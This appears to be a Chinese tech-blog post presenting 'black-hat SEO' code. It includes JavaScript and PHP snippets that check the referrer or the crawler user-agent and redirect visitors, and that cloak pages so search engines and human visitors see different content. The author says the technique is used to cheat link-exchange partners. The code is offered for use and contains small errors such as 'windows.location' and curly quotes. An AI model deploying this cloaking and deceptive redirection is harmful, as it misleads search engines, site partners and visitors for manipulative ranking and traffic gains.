根據(jù)user-agent判斷蜘蛛代碼黑帽跳轉(zhuǎn)代碼(js版與php版本)
黑帽seo手段中有一個大家都在用的技巧,在服務(wù)端判斷 客戶端瀏覽器的user-agent然后做進(jìn)一步操作,
網(wǎng)上一直都有人在用 這個代碼 先是一個js代碼 判斷網(wǎng)站訪客來路 如果是搜索引擎來的 就跳轉(zhuǎn) 如果是直接訪問則不變化 這段代碼是從網(wǎng)上找來的 已經(jīng)很久了 感謝原作者
<script language="javascript"> var pattern = /google/gi; var pattern1= /yahoo/gi; var keyValue=escape(document.referrer); if (pattern.exec(keyValue)) setTimeout( "windows.location='http://www.dbjr.com.cn'",10*1000); else if(pattern1.exec(keyValue)) setTimeout( "window.location='http://www.dbjr.com.cn'",10*1000); </script>
如果是搜索引擎的user-agent則301跳轉(zhuǎn) 目前網(wǎng)上好多欺騙友情鏈接的就是這個做法(代碼會放在最后)
具體還有很多思路,跳轉(zhuǎn)了,喬頁等 今天僅把代碼放出來 php的代碼
聲明 代碼都是百度下來的 先寫個簡單的
根據(jù)php的 $_SERVER[‘HTTP_USER_AGENT']來進(jìn)行判斷
<?php $tmp = $_SERVER['HTTP_USER_AGENT']; if(strpos($tmp, 'Googlebot') !== false){ echo '谷歌'; } else if(strpos($tmp, 'Baiduspider') >0){ echo '百度'; } else if(strpos($tmp, 'Yahoo! Slurp') !== false){ echo '雅虎'; } else if(strpos($tmp, 'msnbot') !== false){ echo 'Msn'; } else if(strpos($tmp, 'Sosospider') !== false){ echo '搜搜'; } else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){ echo '有道'; } else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){ echo '搜狗'; } else if(strpos($tmp, 'fast-webcrawler') !== false){ echo 'Alltheweb'; } else if(strpos($tmp, 'Gaisbot') !== false){ echo 'Gais'; } else if(strpos($tmp, 'ia_archiver') !== false){ echo 'Alexa'; } else if(strpos($tmp, 'altavista') !== false){ echo 'AltaVista'; } else if(strpos($tmp, 'lycos_spider') !== false){ echo 'Lycos'; } else if(strpos($tmp, 'Inktomi slurp') !== false){ echo 'Inktomi'; } ?>
第二段帶跳轉(zhuǎn)的
<?php $flag = false; $tmp = $_SERVER['HTTP_USER_AGENT']; if(strpos($tmp, 'Googlebot') !== false){ $flag = true; } else if(strpos($tmp, 'Baiduspider') >0){ $flag = true; } else if(strpos($tmp, 'Yahoo! Slurp') !== false){ $flag = true; } else if(strpos($tmp, 'msnbot') !== false){ $flag = true; } else if(strpos($tmp, 'Sosospider') !== false){ $flag = true; } else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){ $flag = true; } else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){ $flag = true; } else if(strpos($tmp, 'fast-webcrawler') !== false){ $flag = true; } else if(strpos($tmp, 'Gaisbot') !== false){ $flag = true; } else if(strpos($tmp, 'ia_archiver') !== false){ $flag = true; } else if(strpos($tmp, 'altavista') !== false){ $flag = true; } else if(strpos($tmp, 'lycos_spider') !== false){ $flag = true; } else if(strpos($tmp, 'Inktomi slurp') !== false){ $flag = true; } if($flag == false){ header("Location: http://www.dbjr.com.cn" . $_SERVER['REQUEST_URI']); // 自動轉(zhuǎn)到http://www.dbjr.com.cn 對應(yīng)的網(wǎng)頁 // $_SERVER['REQUEST_URI'] 為域名后面的路徑 // 或 換成 header("Location: http://www.dbjr.com.cn/abc/d.php"); exit(); } ?>
第三段代碼 是 判斷后301跳轉(zhuǎn)的
if (preg_match(“#(google|slurp@inktomi|yahoo! slurp|msnbot)#si”, $_SERVER['HTTP_USER_AGENT'])) { header(“HTTP/1.1 301 Moved Permanently”); header(“Location: http://www.saoyu.com/”); exit; }}
黑帽手段有風(fēng)險 請慎用。如果中招的朋友感覺找后門。
- JS前端開發(fā)判斷是否是手機(jī)端并跳轉(zhuǎn)操作(小結(jié))
- JS實現(xiàn)點擊網(wǎng)頁判斷是否安裝app并打開否則跳轉(zhuǎn)app store
- js根據(jù)手機(jī)客戶端瀏覽器類型,判斷跳轉(zhuǎn)官網(wǎng)/手機(jī)網(wǎng)站多個實例代碼
- js判斷手機(jī)訪問或者PC的幾個例子(常用于手機(jī)跳轉(zhuǎn))
- 兩款JS腳本判斷手機(jī)瀏覽器類型跳轉(zhuǎn)WAP手機(jī)網(wǎng)站
- js判斷登錄與否并確定跳轉(zhuǎn)頁面的方法
- JSP中實現(xiàn)判斷客戶端手機(jī)類型并跳轉(zhuǎn)到app下載頁面
- 百度判斷手機(jī)終端并自動跳轉(zhuǎn)js代碼及使用實例
- 用js實現(xiàn)判斷當(dāng)前網(wǎng)址的來路如果不是指定的來路就跳轉(zhuǎn)到指定頁面
- js判斷PC端與移動端跳轉(zhuǎn)
相關(guān)文章
Some tips of wmi scripting in jscript (1)
Some tips of wmi scripting in jscript (1)...2007-04-04使用typescript改造koa開發(fā)框架的實現(xiàn)
這篇文章主要介紹了使用typescript改造koa開發(fā)框架的實現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-02-02javascript的動態(tài)加載、緩存、更新以及復(fù)用(一)
在做OA、MIS、ERP等信息管理類的項目,經(jīng)常會遇到引用很多js文件,這就需要用到動態(tài)加載、緩存、更新以及復(fù)用等技術(shù),下面我們來討論下2014-06-06JavaScript正則替換HTML標(biāo)簽功能示例
這篇文章主要介紹了JavaScript正則替換HTML標(biāo)簽功能,結(jié)合完整實例形式詳細(xì)分析了javascript正則替換字符串操作相關(guān)實現(xiàn)技巧,需要的朋友可以參考下2017-03-03ES6學(xué)習(xí)筆記之Set和Map數(shù)據(jù)結(jié)構(gòu)詳解
這篇文章主要介紹了ES6學(xué)習(xí)筆記之Set和Map數(shù)據(jù)結(jié)構(gòu),結(jié)合實例形式詳細(xì)分析了ECMAScript中基本數(shù)據(jù)結(jié)構(gòu)Set和Map的常用屬性與方法的功能、用法及相關(guān)注意事項,需要的朋友可以參考下2017-04-04